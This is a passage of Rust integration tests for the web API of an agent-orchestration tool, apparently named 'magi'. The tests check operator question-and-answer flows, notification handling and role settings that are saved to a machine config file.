11302 let res = fx
11303 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
11304 .await;
11305 assert_eq!(res.status, 200, "{}", res.body);
11306 let body = res.json();
11307 assert_eq!(body["status"], "open", "talking back is not a decision");
11308 assert_eq!(body["answer"], Value::Null);
11309 assert_eq!(body["thread"][0]["who"], "operator");
11310 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
11311 assert_eq!(body["waiting_on_agent"], true);
11312 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11314 }
11315
11316 #[tokio::test]
11317 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
11318 let fx = Fixture::start().await;
11319 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11320
11321 let list = fx.get("/api/questions").await.json();
11322 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
11323
11324 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
11325 assert_eq!(res.status, 409, "{}", res.body);
11326 let q = fx.questions().get(&id).unwrap();
11327 assert!(q.status.open());
11328 assert!(q.consult.is_none());
11329 }
11330
11331 #[tokio::test]
11332 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
11333 let fx = Fixture::start().await;
11334 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11335 let cfg = Config {
11336 agents: vec![crate::config::AgentSpec {
11337 id: "mock".to_owned(),
11338 kind: crate::config::AgentKind::Command,
11339 model: None,
11340 command: vec!["true".to_owned()],
11341 extra_args: Vec::new(),
11342 env: Default::default(),
11343 prompt_delivery: None,
11344 }],
11345 ..Config::default()
11346 };
11347 let talk = crate::talk::begin(
11348 &fx.talks(),
11349 &cfg,
11350 fx.home.path().to_path_buf(),
11351 Some("mock"),
11352 )
11353 .unwrap();
11354 let mut task = Task::new(
11355 "t".to_owned(),
11356 "Do it".to_owned(),
11357 PathBuf::from("/repo/magi"),
11358 Source::Agent {
11359 run: talk.id.clone(),
11360 node: crate::queue::CHAT_NODE.to_owned(),
11361 },
11362 );
11363 task.start("20260902-000000-beef".to_owned());
11364 fx.queue().put(&mut task).unwrap();
11365
11366 let list = fx.get("/api/questions").await.json();
11367 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11368 assert_eq!(
11369 list[0]["choices"],
11370 serde_json::json!(["SQLite", "Redis"]),
11371 "the hand-over is never a choice"
11372 );
11373 fx.questions()
11374 .update(&id, |q| {
11375 q.node = crate::land::APPROVAL_NODE.into();
11376 q.choices = vec!["merge".into(), "hold".into()];
11377 Ok(())
11378 })
11379 .unwrap();
11380 let list = fx.get("/api/questions").await.json();
11381 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
11382 assert_eq!(list[0]["can_consult_chat"], true);
11383 fx.questions()
11384 .update(&id, |q| {
11385 q.node = crate::bump::NOTICE_NODE.into();
11386 Ok(())
11387 })
11388 .unwrap();
11389 let list = fx.get("/api/questions").await.json();
11390 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11391 assert_eq!(list[0]["can_consult_chat"], false);
11392 }
11393
11394 #[tokio::test]
11395 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
11396 let fx = Fixture::start().await;
11397 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11398 fx.questions()
11399 .update(&id, |q| {
11400 q.node = crate::land::APPROVAL_NODE.into();
11401 q.choices = vec!["merge".into(), "hold".into()];
11402 Ok(())
11403 })
11404 .unwrap();
11405 let cfg = Config {
11406 agents: vec![crate::config::AgentSpec {
11407 id: "mock".to_owned(),
11408 kind: crate::config::AgentKind::Command,
11409 model: None,
11410 command: vec!["true".to_owned()],
11411 extra_args: Vec::new(),
11412 env: Default::default(),
11413 prompt_delivery: None,
11414 }],
11415 ..Config::default()
11416 };
11417 let repo = fx.home.path().join("chat-repo");
11419 std::fs::create_dir_all(&repo).unwrap();
11420 let toml = repo.join("magi.toml");
11421 std::fs::write(&toml, "this is = = not toml").unwrap();
11422 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
11423 let mut task = Task::new(
11424 "t".to_owned(),
11425 "Do it".to_owned(),
11426 PathBuf::from("/repo/magi"),
11427 Source::Agent {
11428 run: talk.id.clone(),
11429 node: crate::queue::CHAT_NODE.to_owned(),
11430 },
11431 );
11432 task.start("20260902-000000-beef".to_owned());
11433 fx.queue().put(&mut task).unwrap();
11434
11435 let path = format!("/api/questions/{id}/consult");
11436 let res = fx.post(&path, None).await;
11437 assert!(res.status >= 400, "{}", res.body);
11438 assert!(fx.questions().get(&id).unwrap().consult.is_none());
11439 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
11440
11441 std::fs::write(&toml, "").unwrap();
11442 let res = fx.post(&path, None).await;
11443 assert_eq!(res.status, 202, "{}", res.body);
11444 assert!(fx.questions().get(&id).unwrap().consult.is_some());
11445 let q = fx.questions().get(&id).unwrap();
11446 assert!(q.status.open());
11447 assert!(q.answer.is_none());
11448 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11449 assert_eq!(res.json()["can_consult_chat"], true);
11450 let list = fx.get("/api/questions").await.json();
11451 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11452 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
11453
11454 let res = fx
11455 .post(
11456 &format!("/api/questions/{id}/answer"),
11457 Some(r#"{"choice":"hold"}"#),
11458 )
11459 .await;
11460 assert_eq!(res.status, 200, "{}", res.body);
11461 assert_eq!(res.json()["answer"]["choice"], "hold");
11462 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
11463 assert_eq!(res.json()["can_consult_chat"], false);
11464 assert_eq!(fx.post(&path, None).await.status, 409);
11465
11466 let mut talk = fx.talks().get(&talk.id).unwrap();
11467 crate::talk::close(&mut talk, &fx.talks()).unwrap();
11468 let list = fx.get("/api/questions").await.json();
11469 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
11470 assert_eq!(list[0]["origin_chat_closed"], true);
11471 assert_eq!(list[0]["can_consult_chat"], false);
11472
11473 fx.talks().remove(&talk.id).unwrap();
11474 let list = fx.get("/api/questions").await.json();
11475 assert_eq!(list[0]["origin_chat"], Value::Null);
11476 assert_eq!(list[0]["origin_chat_closed"], false);
11477 assert_eq!(list[0]["can_consult_chat"], false);
11478 }
11479
11480 #[tokio::test]
11481 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
11482 let fx = Fixture::start().await;
11483 let store = fx.questions();
11484 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11485 store.beat(&id, ask::WaiterKind::Asker);
11486 assert_eq!(
11487 fx.get("/api/health").await.json()["questions_needs_owner"],
11488 1
11489 );
11490
11491 let res = fx
11497 .post(
11498 &format!("/api/questions/{id}/say"),
11499 Some(r#"{"body":"why not Postgres?"}"#),
11500 )
11501 .await;
11502 assert_eq!(res.status, 200, "{}", res.body);
11503 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11504 assert_eq!(
11505 fx.get("/api/health").await.json()["questions_needs_owner"],
11506 0,
11507 "waiting on the agent is not waiting on the owner"
11508 );
11509
11510 let mut q = store.get(&id).expect("get");
11514 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
11515 .expect("reply");
11516 store.put(&mut q).expect("put");
11517 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11518 assert_eq!(
11519 fx.get("/api/health").await.json()["questions_needs_owner"],
11520 1,
11521 "the agent's reply is what should light the banner back up"
11522 );
11523 }
11524
11525 #[tokio::test]
11526 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
11527 let fx = Fixture::start().await;
11528 let store = fx.questions();
11529
11530 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11531 let res = fx
11532 .post(
11533 &format!("/api/questions/{empty_id}/say"),
11534 Some(r#"{"body":" "}"#),
11535 )
11536 .await;
11537 assert_eq!(res.status, 400, "{}", res.body);
11538
11539 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11540 let mut answered = store.get(&answered_id).expect("get");
11541 answered
11542 .answer(Answer::Choice("SQLite".to_owned()))
11543 .expect("answer");
11544 store.put(&mut answered).expect("put");
11545 let res = fx
11546 .post(
11547 &format!("/api/questions/{answered_id}/say"),
11548 Some(r#"{"body":"still there?"}"#),
11549 )
11550 .await;
11551 assert_eq!(res.status, 409, "{}", res.body);
11552
11553 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11554 let mut abandoned = store.get(&abandoned_id).expect("get");
11555 abandoned.abandon("timed out");
11556 store.put(&mut abandoned).expect("put");
11557 let res = fx
11558 .post(
11559 &format!("/api/questions/{abandoned_id}/say"),
11560 Some(r#"{"body":"still there?"}"#),
11561 )
11562 .await;
11563 assert_eq!(res.status, 409, "{}", res.body);
11564 }
11565
11566 #[tokio::test]
11567 async fn an_answer_the_question_does_not_offer_is_refused() {
11568 let fx = Fixture::start().await;
11569 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11570 let path = format!("/api/questions/{id}/answer");
11571
11572 for body in [
11573 r#"{"choice":"Postgres"}"#,
11574 r#"{"text":"whatever you think"}"#,
11575 r#"{"choice":"Redis","text":"both"}"#,
11576 r#"{}"#,
11577 ] {
11578 let res = fx.post(&path, Some(body)).await;
11579 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
11580 assert!(res.json()["error"].is_string(), "{}", res.body);
11581 }
11582 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11584 }
11585
11586 #[tokio::test]
11587 async fn a_free_text_question_takes_text_and_not_a_choice() {
11588 let fx = Fixture::start().await;
11589 let id = ask(&fx, "What should the flag be called?", &[]);
11590 fx.questions().beat(&id, ask::WaiterKind::Asker);
11591 let path = format!("/api/questions/{id}/answer");
11592
11593 assert_eq!(
11594 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
11595 400
11596 );
11597 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
11598 assert_eq!(res.status, 200, "{}", res.body);
11599 assert_eq!(res.json()["answer"]["text"], "--json");
11600 }
11601
11602 #[tokio::test]
11603 async fn an_unknown_question_is_a_json_404() {
11604 let fx = Fixture::start().await;
11605 let res = fx
11606 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
11607 .await;
11608 assert_eq!(res.status, 404, "{}", res.body);
11609 assert!(res.json()["error"].is_string());
11610 }
11611
11612 #[tokio::test]
11613 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
11614 let fx = Fixture::start().await;
11615 let questions = Questions::at(fx.home.path().join("questions"));
11616 let store = Notices::at(fx.home.path().join("notifications"));
11617 let mut q = ask::Question::new(
11618 "t1".into(),
11619 "conduct".into(),
11620 "conductor".into(),
11621 "Continue?".into(),
11622 String::new(),
11623 Vec::new(),
11624 );
11625 questions.put(&mut q).unwrap();
11626 let mut n = Notice::warn("task:t1", "Task t1 is held.");
11627 n.covered_by = Some(q.id.clone());
11628 let n = store.raise(n).unwrap();
11629 let listed = fx.get("/api/notifications").await.json();
11630 assert_eq!(listed["items"][0]["answerable_question"], q.id);
11631 questions
11632 .update(&q.id, |q| {
11633 q.abandon("run gone");
11634 Ok(())
11635 })
11636 .unwrap();
11637 let listed = fx.get("/api/notifications").await.json();
11638 assert!(listed["items"][0]["answerable_question"].is_null());
11639 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
11640 assert!(
11641 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
11642 .unwrap()
11643 .contains("answerable_question")
11644 );
11645 }
11646
11647 #[tokio::test]
11648 async fn notifications_list_read_dismiss_and_health_agree() {
11649 let fx = Fixture::start().await;
11650 let store = Notices::at(fx.home.path().join("notifications"));
11651 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
11652 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
11653
11654 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
11655 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
11656
11657 store
11658 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
11659 .unwrap();
11660 let health = fx.get("/api/health").await.json();
11661 assert_eq!(health["notifications_unread"], 2);
11662 assert_ne!(
11663 health["notifications_rev"], rev0,
11664 "the badge must move live"
11665 );
11666
11667 let listed = fx.get("/api/notifications").await.json();
11668 assert_eq!(listed["unread"], 2);
11669 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
11670 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
11671
11672 let read = fx
11673 .post(&format!("/api/notifications/{}/read", a.id), None)
11674 .await;
11675 assert_eq!(read.status, 200, "{}", read.body);
11676 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
11677
11678 let gone = fx
11679 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
11680 .await;
11681 assert_eq!(gone.status, 200, "{}", gone.body);
11682 let listed = fx.get("/api/notifications").await.json();
11683 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
11684 assert_eq!(listed["unread"], 0);
11685
11686 store.raise(Notice::info("x", "again")).unwrap();
11687 let all = fx.post("/api/notifications/read-all", None).await;
11688 assert_eq!(all.status, 200, "{}", all.body);
11689 assert_eq!(all.json()["marked"], 1);
11690 assert_eq!(
11691 fx.get("/api/health").await.json()["notifications_unread"],
11692 0
11693 );
11694
11695 let missing = fx.post("/api/notifications/nope/read", None).await;
11696 assert_eq!(missing.status, 404, "{}", missing.body);
11697 assert!(missing.json()["error"].is_string());
11698 }
11699
11700 #[tokio::test]
11707 async fn a_task_cannot_be_filed_over_the_phone_directly() {
11708 let f = Fixture::start().await;
11709
11710 let res = f
11711 .post(
11712 "/api/queue",
11713 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
11714 )
11715 .await;
11716
11717 assert_eq!(
11718 res.status, 405,
11719 "POST /api/queue must not be a route: {}",
11720 res.body
11721 );
11722 assert!(
11723 f.queue().list().is_empty(),
11724 "a task filed by a route that does not exist must not reach the disk"
11725 );
11726 assert_eq!(f.get("/api/queue").await.status, 200);
11729 }
11730
11731 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
11733 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
11734 .expect("checkout dir");
11735 }
11736
11737 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
11739
11740 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
11741 let tmp = TempDir::new().expect("tempdir");
11742 let repo = tmp.path().join("repo");
11743 std::fs::create_dir_all(&repo).expect("repo dir");
11744 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
11745 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
11746 if let Some(text) = machine_toml {
11747 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
11748 std::fs::write(&machine, text).expect("machine toml");
11749 }
11750 (tmp, repo, machine)
11751 }
11752
11753 async fn settings_checkout(path: &FsPath, text: &str) {
11754 std::fs::create_dir_all(path).unwrap();
11755 std::fs::write(path.join("magi.toml"), text).unwrap();
11756 for args in [
11757 vec!["init", "-b", "main"],
11758 vec!["add", "magi.toml"],
11759 vec![
11760 "-c",
11761 "user.name=Test",
11762 "-c",
11763 "user.email=test@example.invalid",
11764 "commit",
11765 "-m",
11766 "fixture",
11767 ],
11768 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
11769 vec![
11770 "symbolic-ref",
11771 "refs/remotes/origin/HEAD",
11772 "refs/remotes/origin/main",
11773 ],
11774 ] {
11775 crate::git::git(path, &args).await.unwrap();
11776 }
11777 }
11778
11779 #[tokio::test]
11780 async fn settings_context_handlers_validate_and_save_without_a_socket() {
11781 let (tmp, repo, machine) =
11782 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
11783 let root = tmp.path().join("roots");
11784 let selected = root.join("host/owner/selected");
11785 settings_checkout(
11786 &selected,
11787 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
11788 )
11789 .await;
11790 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
11791 let before = std::fs::read(&machine).unwrap();
11792 let ui = Arc::new(
11793 Ui::new(
11794 Queue::at(tmp.path().join("queue")),
11795 Questions::at(tmp.path().join("questions")),
11796 Talks::at(tmp.path().join("talks")),
11797 tmp.path().join("runs"),
11798 tmp.path().to_path_buf(),
11799 repo.clone(),
11800 )
11801 .with_machine_config(Some(machine.clone())),
11802 );
11803 let query = || {
11804 Query(SettingsQuery {
11805 repo: Some(selected.clone()),
11806 })
11807 };
11808 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
11809 assert!(v.error.is_none(), "{:?}", v.error);
11810 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
11811 assert_eq!(conductor.source, "repo");
11812 assert_eq!(
11813 conductor.machine_value,
11814 Some(toml::Value::String("a".into()))
11815 );
11816 assert!(!conductor.editable);
11817 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
11818 assert_eq!(
11819 judges.count.as_ref().unwrap().machine_value,
11820 Some(toml::Value::Integer(1))
11821 );
11822 assert!(
11823 !v.roles
11824 .iter()
11825 .find(|r| r.key == "reviewers")
11826 .unwrap()
11827 .editable
11828 );
11829 let unknown = || {
11830 Query(SettingsQuery {
11831 repo: Some(tmp.path().to_path_buf()),
11832 })
11833 };
11834 assert_eq!(
11835 settings_get(State(ui.clone()), unknown())
11836 .await
11837 .unwrap_err()
11838 .status,
11839 StatusCode::UNPROCESSABLE_ENTITY
11840 );
11841 let body = || {
11842 Ok(Json(RolesBody {
11843 revision: v.revision.clone(),
11844 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
11845 counts: Default::default(),
11846 }))
11847 };
11848 assert_eq!(
11849 settings_put_roles(State(ui.clone()), unknown(), body())
11850 .await
11851 .unwrap_err()
11852 .status,
11853 StatusCode::UNPROCESSABLE_ENTITY
11854 );
11855 assert_eq!(std::fs::read(&machine).unwrap(), before);
11856 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
11857 .await
11858 .unwrap();
11859 assert_eq!(
11860 saved.repo,
11861 selected.canonicalize().unwrap().display().to_string()
11862 );
11863 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11864 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11865 let fresh = root.join("host/owner/fresh");
11867 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
11868 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
11869 .await
11870 .unwrap();
11871 assert_eq!(fresh_view.repositories.len(), 3);
11872 }
11873
11874 #[tokio::test]
11875 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
11876 let (tmp, repo, machine) = settings_dirs(
11877 "[roles]\nreviewers = [\"a\"]\n",
11878 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
11879 );
11880 let root = tmp.path().join("roots");
11881 let selected = root.join("host/owner/selected");
11882 settings_checkout(
11883 &selected,
11884 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
11885 )
11886 .await;
11887 let broken = root.join("host/owner/broken");
11888 settings_checkout(&broken, "[roles\nbroken").await;
11889 let machine_text = format!(
11890 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
11891 toml::Value::String(root.display().to_string())
11892 );
11893 std::fs::write(&machine, &machine_text).unwrap();
11894 let originals: Vec<_> = [&repo, &selected, &broken]
11895 .iter()
11896 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
11897 .collect();
11898 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
11899 let default = f.get("/api/settings").await.json();
11900 assert_eq!(
11901 default["repo"],
11902 repo.canonicalize().unwrap().display().to_string()
11903 );
11904 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
11905 let query = format!("?repo={}", selected.display());
11906 let res = f.get(&format!("/api/settings{query}")).await;
11907 assert_eq!(res.status, 200, "{}", res.body);
11908 let v = res.json();
11909 assert!(v["error"].is_null(), "{v}");
11910 assert_eq!(v["repositories"], default["repositories"]);
11911 let role = |key: &str| {
11912 v["roles"]
11913 .as_array()
11914 .unwrap()
11915 .iter()
11916 .find(|r| r["key"] == key)
11917 .unwrap()
11918 };
11919 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
11920 assert_eq!(role("advisors")["source"], "repo");
11921 assert_eq!(role("advisors")["editable"], false);
11922 assert!(role("advisors")["machine_value"].is_null());
11923 assert_eq!(role("judges")["count"]["value"], 2);
11924 assert_eq!(role("judges")["count"]["machine_value"], 1);
11925 assert_eq!(role("judges")["count"]["source"], "repo");
11926 let source = role("judges")["count"]["source_path"].as_str().unwrap();
11927 assert!(
11928 source.contains("origin/main") && !source.contains("magi/config/"),
11929 "{source}"
11930 );
11931 assert_eq!(
11932 role("reviewers")["editable"],
11933 false,
11934 "default context outside roots must protect its declarations"
11935 );
11936 let body =
11937 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
11938 let unknown = format!("?repo={}", tmp.path().display());
11939 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
11940 assert_eq!(
11941 f.put(&format!("/api/settings/roles{unknown}"), &body)
11942 .await
11943 .status,
11944 422
11945 );
11946 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
11947 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
11948 .to_string();
11949 assert_eq!(
11950 f.put(&format!("/api/settings/roles{query}"), &refuse)
11951 .await
11952 .status,
11953 422
11954 );
11955 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
11956 assert_eq!(saved.status, 200, "{}", saved.body);
11957 assert_eq!(saved.json()["repo"], v["repo"]);
11958 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
11959 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
11960 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
11961 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
11962 }
11963 let error = f
11964 .get(&format!("/api/settings?repo={}", broken.display()))
11965 .await;
11966 assert_eq!(error.status, 200);
11967 assert!(error.json()["error"]["message"].is_string());
11968 assert_eq!(error.json()["repositories"], default["repositories"]);
11969 }
11970
11971 #[tokio::test]
11972 async fn settings_get_reports_sources_and_the_advisors_fallback() {
11973 let (_tmp, repo, machine) =
11974 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
11975 let f = Fixture::with_repo_and_machine(repo, machine).await;
11976 let res = f.get("/api/settings").await;
11977 assert_eq!(res.status, 200, "{}", res.body);
11978 let v = res.json();
11979 assert!(v["error"].is_null(), "{v}");
11980 let role = |k: &str| {
11981 v["roles"]
11982 .as_array()
11983 .and_then(|r| r.iter().find(|x| x["key"] == k))
11984 .cloned()
11985 .unwrap_or_else(|| panic!("no role {k}: {v}"))
11986 };
11987 assert_eq!(role("judges")["source"], "machine");
11988 assert_eq!(role("judges")["editable"], true);
11989 assert_eq!(role("implementers")["source"], "default");
11990 let adv = role("advisors");
11991 assert_eq!(adv["fallback"], "judges");
11992 assert!(
11993 adv["seats"]
11994 .as_array()
11995 .is_some_and(|s| s.iter().all(|x| x == "b")),
11996 "{adv}"
11997 );
11998 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
11999 assert_eq!(v["agents"][0]["source"], "repo");
12000 }
12001
12002 #[tokio::test]
12003 async fn settings_get_reports_a_config_that_does_not_parse() {
12004 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
12005 let f = Fixture::with_repo_and_machine(repo, machine).await;
12006 let res = f.get("/api/settings").await;
12007 assert_eq!(res.status, 200, "{}", res.body);
12008 let v = res.json();
12009 assert!(v["error"]["message"].is_string(), "{v}");
12010 assert!(
12011 v["error"]["path"]
12012 .as_str()
12013 .is_some_and(|p| p.ends_with("magi.toml")),
12014 "{v}"
12015 );
12016 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
12017 }
12018
12019 #[tokio::test]
12020 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
12021 let (_tmp, repo, machine) = settings_dirs(
12022 SETTINGS_AGENTS,
12023 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
12024 );
12025 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
12026 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
12027 let rev = f.get("/api/settings").await.json()["revision"]
12028 .as_str()
12029 .expect("revision")
12030 .to_owned();
12031 let body = serde_json::json!({
12032 "revision": rev,
12033 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
12034 })
12035 .to_string();
12036 let res = f.put("/api/settings/roles", &body).await;
12037 assert_eq!(res.status, 200, "{}", res.body);
12038 let text = std::fs::read_to_string(&machine).expect("machine");
12039 assert_eq!(
12040 text,
12041 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
12042 );
12043 assert_eq!(
12044 std::fs::read(repo.join("magi.toml")).expect("read"),
12045 repo_before
12046 );
12047 let again = f.get("/api/settings").await.json();
12048 let judges = again["roles"]
12049 .as_array()
12050 .expect("roles")
12051 .iter()
12052 .find(|r| r["key"] == "judges")
12053 .expect("judges")
12054 .clone();
12055 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
12056 let stale = f.put("/api/settings/roles", &body).await;
12058 assert_eq!(stale.status, 409, "{}", stale.body);
12059 }
12060
12061 #[tokio::test]
12062 async fn settings_counts_are_reported_and_saved() {
12063 let (_tmp, repo, machine) = settings_dirs(
12064 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
12065 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
12066 );
12067 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12068 let v = f.get("/api/settings").await.json();
12069 let count = |v: &serde_json::Value, k: &str| {
12070 v["roles"]
12071 .as_array()
12072 .and_then(|r| r.iter().find(|x| x["key"] == k))
12073 .map(|x| x["count"].clone())
12074 .unwrap_or_else(|| panic!("no role {k}: {v}"))
12075 };
12076 let imp = count(&v, "implementers");
12077 assert_eq!(imp["value"], 2);
12078 assert_eq!(imp["source"], "machine");
12079 assert_eq!(imp["file_key"], "candidates");
12080 assert_eq!(imp["roster_len"], 2);
12081 assert_eq!(imp["backups"], 0);
12082 assert_eq!(count(&v, "judges")["source"], "default");
12083 assert_eq!(count(&v, "advisors")["min"], 0);
12084 assert_eq!(count(&v, "reviewers")["editable"], false);
12085 assert!(
12086 count(&v, "reviewers")["locked_reason"]
12087 .as_str()
12088 .is_some_and(|m| m.contains("graph.reviewers"))
12089 );
12090 assert!(count(&v, "fixer").is_null());
12091 let rev = v["revision"].as_str().expect("revision").to_owned();
12092 let body = serde_json::json!({
12093 "revision": rev,
12094 "roles": { "judges": ["b"] },
12095 "counts": { "implementers": 1, "advisors": 0 }
12096 })
12097 .to_string();
12098 let res = f.put("/api/settings/roles", &body).await;
12099 assert_eq!(res.status, 200, "{}", res.body);
12100 let text = std::fs::read_to_string(&machine).expect("machine");
12101 assert_eq!(
12102 text,
12103 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
12104 );
12105 let after = f.get("/api/settings").await.json();
12106 assert_eq!(count(&after, "implementers")["value"], 1);
12107 assert_eq!(count(&after, "implementers")["backups"], 1);
12108 assert_eq!(count(&after, "advisors")["value"], 0);
12109 let before = std::fs::read_to_string(&machine).expect("machine");
12110 let rev = after["revision"].as_str().expect("revision").to_owned();
12111 for counts in [
12112 serde_json::json!({ "judges": 0 }),
12113 serde_json::json!({ "judges": "x" }),
12114 serde_json::json!({ "judges": 2.5 }),
12115 serde_json::json!({ "judges": -1 }),
12116 serde_json::json!({ "reviewers": 3 }),
12117 serde_json::json!({ "bogus": 3 }),
12118 ] {
12119 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
12120 let res = f.put("/api/settings/roles", &body).await;
12121 assert_eq!(res.status, 422, "{counts}: {}", res.body);
12122 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
12123 }
12124 }
12125
12126 #[tokio::test]
12127 async fn settings_put_refuses_without_touching_the_file() {
12128 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
12129 let (_tmp, repo, machine) = settings_dirs(
12130 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
12131 Some(machine_text),
12132 );
12133 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
12134 let rev = f.get("/api/settings").await.json()["revision"]
12135 .as_str()
12136 .expect("revision")
12137 .to_owned();
12138 for roles in [
12139 serde_json::json!({ "judges": ["nope"] }),
12140 serde_json::json!({ "reviewers": ["b"] }),
12141 serde_json::json!({ "bogus": ["a"] }),
12142 ] {
12143 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
12144 let res = f.put("/api/settings/roles", &body).await;
12145 assert_eq!(res.status, 422, "{roles}: {}", res.body);
12146 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
12147 assert_eq!(
12148 std::fs::read_to_string(&machine).expect("machine"),
12149 machine_text
12150 );
12151 }
12152 }
12153
